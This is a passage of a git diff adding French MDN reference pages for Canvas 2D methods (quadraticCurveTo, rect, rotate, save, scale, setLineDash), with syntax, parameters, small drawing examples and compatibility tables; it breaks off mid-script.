+<p>La méthode <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.quadraticCurveTo()</code></strong> de l'API Canvas 2D ajoute une <a href="https://en.wikipedia.org/wiki/B%C3%A9zier_curve">courbe de Bézier</a> quadratique au sous-chemin courant. Elle requiert deux points: le premier est le point de contrôle et le second est le point d'arrivée. Le point de départ est le dernier point du chemin courant, qui peut être changé au moyen de la méthode {{domxref("CanvasRenderingContext2D.moveTo", "moveTo()")}} avant de créer la courbe quadratique de Bézier.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">void contexte2D.quadraticCurveTo(<em>pointContrôleX</em>, <em>pointContrôleY</em>, <em>pointArrivéeX</em>, <em>pointArrivéeY</em>);
+</pre>
+
+<h3 id="Paramètress">Paramètress</h3>
+
+<dl>
+ <dt><code>pointContrôleX</code></dt>
+ <dd>La coordonnée en x du point de contrôle.</dd>
+ <dt><code>pointContrôleY</code></dt>
+ <dd>La coordonnée en y du point de contrôle.</dd>
+ <dt><code>pointArrivéeX</code></dt>
+ <dd>La coordonnée en x du point d'arrivée.</dd>
+ <dt><code>pointArrivéeY</code></dt>
+ <dd>La coordonnée en y du point d'arrivée.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Comment_quadraticCurveTo_fonctionne">Comment quadraticCurveTo fonctionne</h3>
+
+<p>Cet exemple montre comment un courbe quadratique de Bézier est dessinée.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight:[7]">const canevas = document.getElementById("canvas");
+const contexte2D= canevas.getContext("2d");
+
+// courbe quadratique de Bézier
+contexte2D.beginPath();
+contexte2D.moveTo(50, 20);
+contexte2D.quadraticCurveTo(230, 30, 50, 100);
+contexte2D.stroke();
+
+// Points de départ et d'arrivée
+contexte2D.fillStyle = "blue";
+contexte2D.beginPath();
+contexte2D.arc(50, 20, 5, 0, 2 * Math.PI);   // Point de départ
+contexte2D.arc(50, 100, 5, 0, 2 * Math.PI);  // Point d'arrivée
+contexte2D.fill();
+
+// Point de contrôle
+contexte2D.fillStyle = 'red';
+contexte2D.beginPath();
+contexte2D.arc(230, 30, 5, 0, 2 * Math.PI);
+contexte2D.fill();
+</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>Dans cet exemple, le <span style="color: red;">point de contrôle est rouge</span> et les <span style="color: blue;">points de départ et d'arrivée sont en bleu</span>.</p>
+
+<p>{{EmbedLiveSample('How_quadraticCurveTo_works', 315, 165)}}</p>
+
+<h3 id="Une_courbe_quadratique_simple">Une courbe quadratique simple</h3>
+
+<p>Cet exemple dessine une simple courbe quadratique de Bézier au moyen de la méthode <code>quadraticCurveTo()</code>.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript_2">JavaScript</h4>
+
+<p>La courbe commence au point spécifié par <code>moveTo()</code>: (20, 110). Le point de contrôle est placé à (230, 150). La courbe s'achève en (250, 20).</p>
+
+<pre class="brush: js; highlight:[6]">const canevas = document.getElementById("canvas");
+const contexte2D = canevas.getContext("2d");
+
+contexte2D.beginPath();
+contexte2D.moveTo(20, 110);
+contexte2D.quadraticCurveTo(230, 150, 250, 20);
+contexte2D.stroke();
+</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample('A_simple_quadratic_curve', 700, 180)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-quadraticcurveto", "CanvasRenderingContext2D.quadraticCurveTo")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.CanvasRenderingContext2D.quadraticCurveTo")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface définissant cette méthode : {{domxref("CanvasRenderingContext2D")}}</li>
+ <li><a href="http://fr.wikipedia.org/wiki/Courbe_de_Bézier">L'article Wikipédia sur les courbes quadratiques de Bézier</a></li>
+</ul>
diff --git a/files/fr/web/api/canvasrenderingcontext2d/rect/index.html b/files/fr/web/api/canvasrenderingcontext2d/rect/index.html
new file mode 100644
index 0000000000..f030ad7c92
--- /dev/null
+++ b/files/fr/web/api/canvasrenderingcontext2d/rect/index.html
@@ -0,0 +1,126 @@
+---
+title: CanvasRenderingContext2D.rect()
+slug: Web/API/CanvasRenderingContext2D/rect
+tags:
+  - API
+  - Canvas
+  - CanvasRenderingContext2D
+  - Méthode
+translation_of: Web/API/CanvasRenderingContext2D/rect
+---
+<div>{{APIRef}}</div>
+
+<p>La méthode <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.rect()</code></strong> de l'API Canvas 2D crée un chemin de rectangle à la position <em>(x, y)</em> et de dimensions <em>width</em> et <em>height</em>. Ces quatre points sont connectés par des lignes droites et le sous-chemin est directement fermé, vous pouvez donc utiliser <code>fill</code> ou <code>stroke</code> pour dessiner ce rectangle.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">void <var><em>ctx</em>.rect(x, y, width, height);</var>
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>La coordonnée x pour le côté gauche du rectangle.</dd>
+ <dt><code>y</code></dt>
+ <dd>La coordonnée y pour le haut du rectangle.</dd>
+ <dt><code>width</code></dt>
+ <dd>La largeur du rectangle.</dd>
+ <dt><code>height</code></dt>
+ <dd>La hauteur du rectangle.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_la_méthode_rect">Utiliser la méthode <code>rect</code></h3>
+
+<p>Ceci est un simple bout de code qui utilise la méthode <code>rect</code> pour dessiner un chemin. Pour réellement dessiner ce chemin sur le canvas, vous devez utiliser la méthode {{domxref("CanvasRenderingContext2D.fill", "fill()")}} ou {{domxref("CanvasRenderingContext2D.stroke", "stroke()")}}. Voir également les méthodes {{domxref("CanvasRenderingContext2D.fillRect", "fillRect()")}} et {{domxref("CanvasRenderingContext2D.strokeRect", "strokeRect()")}}, qui peuvent le faire en une seule étape.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight:[3]">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+ctx.rect(10, 10, 100, 100);
+ctx.fill();
+</pre>
+
+<p>Éditez le code ci-dessous pour voir vos mises à jour apportées au canvas directement:</p>
+
+<div style="display: none;">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.rect(10, 10, 100, 100);
+ctx.fill();&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-rect", "CanvasRenderingContext2D.rect")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("api.CanvasRenderingContext2D.rect")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface qui définit cette méthode, {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.fillRect")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.strokeRect()")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.fill()")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.stroke()")}}</li>
+</ul>
diff --git a/files/fr/web/api/canvasrenderingcontext2d/rotate/index.html b/files/fr/web/api/canvasrenderingcontext2d/rotate/index.html
new file mode 100644
index 0000000000..94dabd0201
--- /dev/null
+++ b/files/fr/web/api/canvasrenderingcontext2d/rotate/index.html
@@ -0,0 +1,176 @@
+---
+title: CanvasRenderingContext2D.rotate()
+slug: Web/API/CanvasRenderingContext2D/rotate
+tags:
+  - API
+  - Cancas
+  - CanvasRenderingContext2D
+  - Méthode
+  - Reference
+translation_of: Web/API/CanvasRenderingContext2D/rotate
+---
+<div>{{APIRef}}</div>
+
+<p>La méthode <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.rotate()</code></strong><code> de l'API</code> Canvas 2D ajoute une rotation à la matrice de transformation. L'argument angle représente un angle de rotation horaire et il est exprimé en radians.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">void <var><em>ctx</em>.rotate(angle);</var>
+</pre>
+
+<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/233/Canvas_grid_rotate.png" style="float: right;"></p>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>angle</code></dt>
+ <dd>L'angle de rotation horaire en radians. Vous pouvez utiliser <code><em>degrés</em> * Math.PI / 180</code> si vous voulez faire la conversion à partir d'une valeur en degrés.</dd>
+</dl>
+
+<p>Le centre de la rotation est toujours l'origine du canevas. Pour changer le centre, il faudra déplacer le canevas en utilisant la méthode {{domxref("CanvasRenderingContext2D.translate", "translate()")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utilisation_de_la_méthode_rotate">Utilisation de la méthode <code>rotate</code></h3>
+
+<p>Ceci est seulement un fragment de code simple qui utilise la méthode <code>rotate</code>.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight:[4]">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+
+ctx.rotate(45 * Math.PI / 180);
+ctx.fillRect(70, 0, 100, 30);
+
+// réinitialise la matrice de transformation courante à la matrice identité
+ctx.setTransform(1, 0, 0, 1, 0, 0);
+</pre>
+
+<p>Modifiez le code ci-dessous et voyez vos changements mis à jour en temps réel dans le canevas:</p>
+
+<div style="display: none;">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.rotate(45 * Math.PI / 180);
+ctx.fillRect(70,0,100,30);
+ctx.setTransform(1, 0, 0, 1, 0, 0);&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-rotate", "CanvasRenderingContext2D.rotate")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_navigateurs">Compatibilité navigateurs</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome pour Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface la définissant, {{domxref("CanvasRenderingContext2D")}}</li>
+</ul>
diff --git a/files/fr/web/api/canvasrenderingcontext2d/save/index.html b/files/fr/web/api/canvasrenderingcontext2d/save/index.html
new file mode 100644
index 0000000000..b019de39b6
--- /dev/null
+++ b/files/fr/web/api/canvasrenderingcontext2d/save/index.html
@@ -0,0 +1,91 @@
+---
+title: CanvasRenderingContext2D.save()
+slug: Web/API/CanvasRenderingContext2D/save
+tags:
+  - API
+  - Canvas
+  - CanvasRenderingContext2D
+  - Restaurer
+  - Save
+translation_of: Web/API/CanvasRenderingContext2D/save
+---
+<div>{{APIRef}}</div>
+
+<p>La méthode <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.save()</code></strong> de l'API Canvas 2D API enregistre l'état complet du canvas en plaçant l'état courant dans une stack.</p>
+
+<h3 id="Létat_du_dessin">L'état du dessin</h3>
+
+<p>L'état du dessin qui est sauvegardé dans une stack se compose de:</p>
+
+<ul>
+ <li>La matrice de transformation actuelle.</li>
+ <li>La région de détourage actuelle.</li>
+ <li>Le tableau pour les tracés en pointillés.</li>
+ <li>Les valeurs des attributs suivant: {{domxref("CanvasRenderingContext2D.strokeStyle", "strokeStyle")}}, {{domxref("CanvasRenderingContext2D.fillStyle", "fillStyle")}}, {{domxref("CanvasRenderingContext2D.globalAlpha", "globalAlpha")}}, {{domxref("CanvasRenderingContext2D.lineWidth", "lineWidth")}}, {{domxref("CanvasRenderingContext2D.lineCap", "lineCap")}}, {{domxref("CanvasRenderingContext2D.lineJoin", "lineJoin")}}, {{domxref("CanvasRenderingContext2D.miterLimit", "miterLimit")}}, {{domxref("CanvasRenderingContext2D.lineDashOffset", "lineDashOffset")}}, {{domxref("CanvasRenderingContext2D.shadowOffsetX", "shadowOffsetX")}}, {{domxref("CanvasRenderingContext2D.shadowOffsetY", "shadowOffsetY")}}, {{domxref("CanvasRenderingContext2D.shadowBlur", "shadowBlur")}}, {{domxref("CanvasRenderingContext2D.shadowColor", "shadowColor")}}, {{domxref("CanvasRenderingContext2D.globalCompositeOperation", "globalCompositeOperation")}}, {{domxref("CanvasRenderingContext2D.font", "font")}}, {{domxref("CanvasRenderingContext2D.textAlign", "textAlign")}}, {{domxref("CanvasRenderingContext2D.textBaseline", "textBaseline")}}, {{domxref("CanvasRenderingContext2D.direction", "direction")}}, {{domxref("CanvasRenderingContext2D.imageSmoothingEnabled", "imageSmoothingEnabled")}}.</li>
+</ul>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">void <em>ctx</em>.save();</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="Enregistrer_létat_du_dessin">Enregistrer l'état du dessin</h3>
+
+<p>Cet exemple utilise la méthode <code>save()</code> pour enregistrer l'état par défaut et <code>restore()</code>  pour le rétablir plus tard, on pourra ainsi dessiner un rectangle avec l'état de base après.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight:[5]">const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+// On sauvegarde l'état par défaut
+ctx.save();
+
+ctx.fillStyle = 'green';
+ctx.fillRect(10, 10, 100, 100);
+
+// On restaure l'état par défaut
+ctx.restore();
+
+ctx.fillRect(150, 40, 100, 100);
+</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{ EmbedLiveSample('Saving_the_drawing_state', 700, 180) }}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-save", "CanvasRenderingContext2D.save")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.CanvasRenderingContext2D.save")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface définissant cette méthode: {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.restore()")}}</li>
+</ul>
diff --git a/files/fr/web/api/canvasrenderingcontext2d/scale/index.html b/files/fr/web/api/canvasrenderingcontext2d/scale/index.html
new file mode 100644
index 0000000000..91746be321
--- /dev/null
+++ b/files/fr/web/api/canvasrenderingcontext2d/scale/index.html
@@ -0,0 +1,173 @@
+---
+title: CanvasRenderingContext2D.scale()
+slug: Web/API/CanvasRenderingContext2D/scale
+tags:
+  - API
+  - Canvas
+  - CanvasRenderingContext2D
+  - Méthode
+  - Référence(2)
+translation_of: Web/API/CanvasRenderingContext2D/scale
+---
+<div>{{APIRef}}</div>
+
+<p>La méhode <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.scale()</code></strong> de l'API Canvas 2D ajoute une transformation de mise à l'échelle des unités du canevas, de x horizontalement et de y verticalement.</p>
+
+<p>Par défaut, une unité sur le canevas est exactement un pixel. Si on applique, par exemple, un facteur d'échelle de 0,5, l'unité résultante deviendra 0,5 pixel et ainsi, les formes seront dessinées en taille moitié. De façon similaire, mettre le facteur d'échelle à 2,0 augmentera la taille de l'unité et une unité deviendra alors deux pixels. Cela aura pour résultat que les formes seront dessinées deux fois plus grandes.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">void <var><em>ctx</em>.scale(x, y);</var>
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Facteur d'échelle dans la direction horizontale.</dd>
+ <dt>y</dt>
+ <dd>Facteur d'échelle dans la direction verticale.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utilisation_de_la_méthode_scale">Utilisation de la méthode <code>scale</code></h3>
+
+<p>Ceci est seulement un fragment de code simple qui utilise la méthode <code>scale</code>.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight:[4]">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+
+ctx.scale(10, 3);
+ctx.fillRect(10, 10, 10, 10);
+
+// remet la matrice de transformation courante à la matrice identité
+ctx.setTransform(1, 0, 0, 1, 0, 0);
+</pre>
+
+<p>Modifiez le code ci-dessous et voyez vos changements mis à jour en temps réel dans le canevas :</p>
+
+<div style="display: none;">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.scale(10, 3);
+ctx.fillRect(10,10,10,10);
+ctx.setTransform(1, 0, 0, 1, 0, 0);&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p>
+
+<h3 id="Utilisation_de_scale_pour_un_retournement_horizontal_ou_vertical">Utilisation de <code>scale</code> pour un retournement horizontal ou vertical</h3>
+
+<p>Vous pouvez utiliser <code>ctx.scale(-1, 1)</code> pour retourner le contexte horizontalement et <code>ctx.scale(1, -1) </code>pour le retourner verticalement.</p>
+
+<div style="display: none;">
+<h6 id="Playable_code2">Playable code2</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.scale(-1, 1);
+ctx.font = "48px serif";
+ctx.fillText("Hello world!", -320, 120);
+ctx.setTransform(1, 0, 0, 1, 0, 0);&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code2', 700, 360) }}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-scale", "CanvasRenderingContext2D.scale")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_navigateur">Compatibilité navigateur</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+
+<p>{{Compat("api.CanvasRenderingContext2D.scale")}}</p>
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface la définissant, {{domxref("CanvasRenderingContext2D")}}</li>
+</ul>
diff --git a/files/fr/web/api/canvasrenderingcontext2d/setlinedash/index.html b/files/fr/web/api/canvasrenderingcontext2d/setlinedash/index.html
new file mode 100644
index 0000000000..99a57ca4c5
--- /dev/null
+++ b/files/fr/web/api/canvasrenderingcontext2d/setlinedash/index.html
@@ -0,0 +1,165 @@
+---
+title: CanvasRenderingContext2D.setLineDash()
+slug: Web/API/CanvasRenderingContext2D/setLineDash
+tags:
+  - API
+  - Canvas
+  - CanvasRenderingContext2D
+  - Lignes
+  - Modèle
+  - Méthodes
+  - Pointillés
+  - Reference
+  - patterns
+  - setLineDash
+translation_of: Web/API/CanvasRenderingContext2D/setLineDash
+---
+<div>{{APIRef}}</div>
+
+<p>La méthode <strong><code>setLineDash()</code></strong> de l'interface Canvas 2D API's {{domxref("CanvasRenderingContext2D")}} définit le modèle à utiliser pour les pointillés lors du dessin de la ligne, en utilisant un tableau de valeurs qui spécifie les longueurs des alternances entre pleins et creux.</p>
+
+<div class="note">
+<p>Pour renvoyer une ligne pleine, configurez la liste pour les pointillés avec un tableau vide.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var><em>ctx</em>.setLineDash(segments);</var>
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>segments</code></dt>
+ <dd>Un tableau {{jsxref("Array")}} de nombres qui spécifie les distances qui vont alternativement dessiner pleins et creux (dans l'unité du système de coordonnées). Si le nombre d'éléments du tableau est impair, les éléments du tableau sont recopiés et concaténés. Par exemple, <code>[5, 15, 25]</code> est transformé en <code>[5, 15, 25, 5, 15, 25]</code>. Si le tableau est vide, le pointillé est supprimé, et la ligne devient pleine.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p><code>undefined</code>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>C'est simplement un fragment de code qui utilise la méthode <code>setLineDash()</code> pour dessiner une ligne pointillée au dessus d'une ligne pleine.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js; highlight:[4]">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+
+ctx.beginPath();
+ctx.setLineDash([5, 15]);
+ctx.moveTo(0, 50);
+ctx.lineTo(400, 50);
+ctx.stroke();
+
+ctx.beginPath();
+ctx.setLineDash([]);
+ctx.moveTo(0, 150);
+ctx.lineTo(400, 150);
+ctx.stroke();
+</pre>
+
+<h3 id="Essayez_le">Essayez le</h3>
+
+<p>Editez le code ci-dessous et observez les changements se produire dans le canvas:</p>
+
+<div style="display: none;">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code" style="height:150px"&gt;
+ctx.beginPath();
+ctx.setLineDash([5, 15]);
+ctx.moveTo(0, 50);
+ctx.lineTo(400, 50);
+ctx.stroke();
+
+ctx.beginPath();
+ctx.setLineDash([]);
+ctx.moveTo(0, 150);
+ctx.lineTo(400, 150);
+ctx.stroke();&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
